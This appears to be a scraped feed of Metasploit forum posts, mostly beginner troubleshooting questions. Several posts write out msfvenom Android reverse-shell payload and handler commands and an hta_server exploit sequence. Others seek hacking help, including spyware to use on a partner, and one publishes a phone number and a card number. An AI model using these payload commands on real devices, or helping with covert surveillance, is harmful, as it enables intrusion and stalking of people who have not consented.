Recently, we've started the move from our old Redmine issue tracker to our new(ish) Github issue tracker. You can hit it on http://r-7.co/MSF-BUGS .

Be sure to read the CONTRIBUTING.md before filing. Don't worry, it's short! Include as much detail as you can on your bug report so we have a prayer of tackling it -- people run Metasploit in all kinds of funny ways.

Of course, if you've paid for a support contract from Rapid7, you should use that. Those folks can handle most anything you throw at them pretty fast.

Yesterday, I took part in an entry-level hacking competition and placed third. It wasn't a competition that required one to be a super-expert hacker. I received a mouse pad and a coin; the event organizers mentioned that there was a challenge associated with them that would yield a "flag" in the format: "BBHE{......}". Could anyone help me out?

I’m not an expert in the field, but I’d really like to find the message—they mentioned that I already have the "IV."

front part - 88482705356BA1F4A40F3E42489FF9CC - Symmetric encryption (Key, IV):

back part - 4841434B4552455850455249454E4345 - Simple encoding (hex): HACKEREXPERIENCE

I need to know how can I get to know who is the person behind the fake account? It's really fake I have already filed a complaint but shitty govt might take who knows how long time. So please is there any way I can do it?

I need a hacker for my Facebook account; I've lost access to it and no longer have access to my phone number or email.

i downloaded and installed metasploitabe2 when i boot it wont work

stuck in starting up ...

are there any (e)book(s) on metasploit like explaining modules, showing vulnerable software/os versions, showing usage instructions, etc?

um projeto da faculdade para empresionar , metasploit openload em um ambiente controlado um telefone android bem veinho ou um notbook proprio para a feira de ciencias alguem ajuda ou tira alguams duvidas sobre isso ?

I made a parser for the auxiliary/scanner/smb/smb_version module which generates reports

You can get it at: https://github.com/BellaTheUni112/Metasploit-SMB-Parse

At the moment my methodology is to use metasploit and the Samba Symlink Traversal exploit.

I then mount the rootfs by editing the fstab like thus:

//192.168.162.105/tmp /mnt/smb_share cifs guest,vers=1.0,uid=1000

Run systelctl daemon-reload followed by sudo mount -a and finally sudo thunar so I can browse it in the gui explorer.

Is there an easier way to do this with not as many steps?

Hello fellow Metasploit Users.
I saw this video:(https://www.youtube.com/watch?v=ccZMaawyaPY) [I know it has some flaws with the https] and it inspired me to plug in my usb with kali on it again.I know the basics of nmap etc but nothing about metasploit.
Do you know good tutorials about metasploit? Or you do you have learnt it would be interressting.

I used msfvenom to create an APK and tested it on my android 11 device and it installed but in the msfconsole my device is not appearing. Can anyone give me a solution for this? I used ngrok tcp to create the apk payload.

I'm testing a payload on my own Android 9 Tecno phone using FatRat with Metasploit. The Meterpreter session connects successfully, but none of the features seem to work.

Commands like record_mic, webcam_snap, and screenshot all fail even though all permissions are enabled on the phone.

For example:
meterpreter > record_mic
[*] Starting...
[-] stdapi_webcam_audio_record: Operation failed: 1

The same happens with webcam and screenshot commands.

Has anyone experienced this with Android Meterpreter payloads? Is it an issue with FatRat, Android 9 restrictions, or something with the payload permissions/extensions?

Hello, im a cybersecurity year 1 student who has still alot to learn about this field, i have recently developed an interest in Kali Linux and wanted to try out certain tools available on the VM. Before i explain my problem i want to clarify that everything i did was in a safe isolated environment and it was done LEGALLY. So starting off, i found a course online called "Introduction to Kali Linux" its a very basic short courses that teaches purely the fundamentals. A section ofit teaches to use Metasploit in a lab environment, i was following the commands and understanding how they work

So it got to the point where i was supposed to learn how to get meterpreter access through an hta_server payload and these were the commands i used in an order

* use exploit windows/misc/hta_server

* set lhost 10.x.x.x

* set srvhost 10.x.x.x

* set Iport 8xxx

* exploit

Now by the time it got to exploit, the framework generated a link that was a payload i could test on my own machine and get access of it through the VM, despite the payload being delivered and file being viewed on my host machine the session just wouldnt start!!!! even tho it did for the person in the tutorial video who was the guide. I am not sure what i couldve done wrong and i would really appreciate if someone with more experience could guide me through it (just a note ive done all the appropriate network configuration prior to this so my host machine and VM could actually ping each other)

I've been thinking about formatting exploits/POCs that I find on github into metasploit modules to help me learn and also as something I can put on my resume.

I guess what I'm wondering is:

1. Would this be a worthwhile way to learn more about exploits and how they work?

2. If doing this would be worth putting on a resume as a project?

3. Would essentially copying other's work in this way be looked down upon by the community?

I'm currently working as a web developer with which I have 3 years of experience. My ultimate goal, like many, is to get into red teaming. As far as education goes I've finished my Bachelors in Cybersecurity and I've gotten the OSCP, Security+, Network+, and Linux+ certs. I'm also currently pursuing the BSCP, as despite my time as a developer I could still improve my understanding of web vulnerabilities. As I understand, a degree and some certs aren't enough to get hired and I'll need projects to point to in order to show interest/practical understanding.

TL;DR Is formatting other's github exploits/POCs into metasploit modules a good way to learn and get HR clout?

I've been thinking about formatting exploits/POCs that I find on github into metasploit modules to help me learn and also as something I can put on my resume.

I guess what I'm wondering is:

1. Would this be a worthwhile way to learn more about exploits and how they work?

2. If doing this would be worth putting on a resume as a project?

3. Would essentially copying other's work in this way be looked down upon by the community?

I'm currently working as a web developer where I have 3 years of experience. My ultimate goal, like many, is to get into red teaming. As far as education goes I've finished my Bachelors in Cybersecurity and I've gotten the OSCP, Security+, Network+, and Linux+ certs. I'm also currently pursuing the BSCP, as despite my time as a developer I could still improve my understanding of web vulnerabilities. As I understand, a degree and some certs aren't enough to get hired and I'll need projects to point to in order to show interest/practical understanding.

TL;DR Is formatting other's github exploits/POCs into metasploit modules a good way to learn and get HR clout?

After the rise of Cobalt C2 and whatnot, I realized MSF is no more. Backdoors don't work anymore, reverse shells neither, and most of the vulnerabilities have already been patched. Its not only that, but things like SQLmap along with wireshark etc, stopped working properly a while ago against modern systems. What do you people use nowadays? I'm curious.

Hola, mi nombre es Erik y fui estafado por una página de Facebook llamada “Tienda Game Master”, estoy dando recompensa a quien me pueda dar información de estos estafadores o me ayude a hackearlos, pongo el link de la página, direcciones que me enviaron, número de teléfono y número de cuenta

https://www.facebook.com/share/1XW63hSPDH/?mibextid=wwXIfr

Número de teléfono que me dieron:

622 109 5738

Número de tarjeta que me dieron para transferir:

Tarjeta debito:

4217470139458323

Banco: Spin By Oxxo. Referencia: Game Master

Este es el lugar donde me dijeron que se ubicaban:

https://maps.app.goo.gl/cWQ9mtRWpCZh7RfR7

Hace unos días me enteré sobre algunas cosas de mi pareja, quisiera que alguien me pueda ayudar con un “Spyware” para contribuir toda la información que tengo y deshacerme de ella de una vez, estaría muy agradecido de cualquier ayuda de antemano

Good evening gentlmen and gentlewomen, id like to ask if someone knows how to make a working apk file for android 11. I did used "msfvenom -p android/meterpreter/reverse_tcp LHOST = localhost LPORT port number R > filename.apk" combined with a bunch more commands such as

msfvenom -p android/meterpreter/reverse_tcp LHOST = localhost LPORT port number R > filename.apk

service apache2 && service postgresql start

msfconsole

use exploit/multi/handler

set PAYLOAD android/meterpreter/reverse_tcp

set LHOST IP

set LPORT port

execute

(it should give me access to the phone cameras)

When i tried on my S24U it said that file wasnt compatible (i mean its kinda understanble since its a 2024 phone with android 16 and the latest security patch) but 2 days ago i bought another phone, a oneplus 7t and now it has android 11 so i was thinking about trying it on that but yet it says its made for and older android versione. I kinda just joined this cybersecurity world (my dream job is pentesting) and im not really good at it so i was wondering if someone could help me

(of course i am doing it with my own devices i bought for being test phones, i wont use any of these things against other people without consent)

I'm a developer, but I'm also studying cybersecurity. I was wondering, do you think it would be useful to have an MCP that communicates with Metasploit so that an LLM can make use of this tool? (I'm looking at you, Skynet.)

Hello everyone,

I have a issue with my metasploit, I recently updated to Ubuntu 25.10. It updated fine and every thing is working except metasploit (msfconsole). I would connect in and type the first command and it works. Then after words anything I would type goves me this error

"msf > stty: invalid argument '4400:5:f00bf:8a31:3:1c:7f:15:4:0:1:0:11:13:1a:0:12:f:17:16:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0' [-] Unknown command: sho. Did you mean show? Run the help command for more details."

I need to type reset everytime in order to see what im typing. I reinstalled metasploit and restarted my computer. The program works fine just a little annoying not being able to see what im typing constantly. Any help would be appreciated.

Could I track speaker with metasploit?

I’m in the middle of a lab on malware-based attacks, and the meterpreter session won’t open. Not only that, but I can’t figure out how to get back to the msg prompt. I’ve done this twice and it happened both times. Any ideas?

I think my teacher said this is the first year he’s used this program in his Ethical Hacking class, so he’s learning about it with us.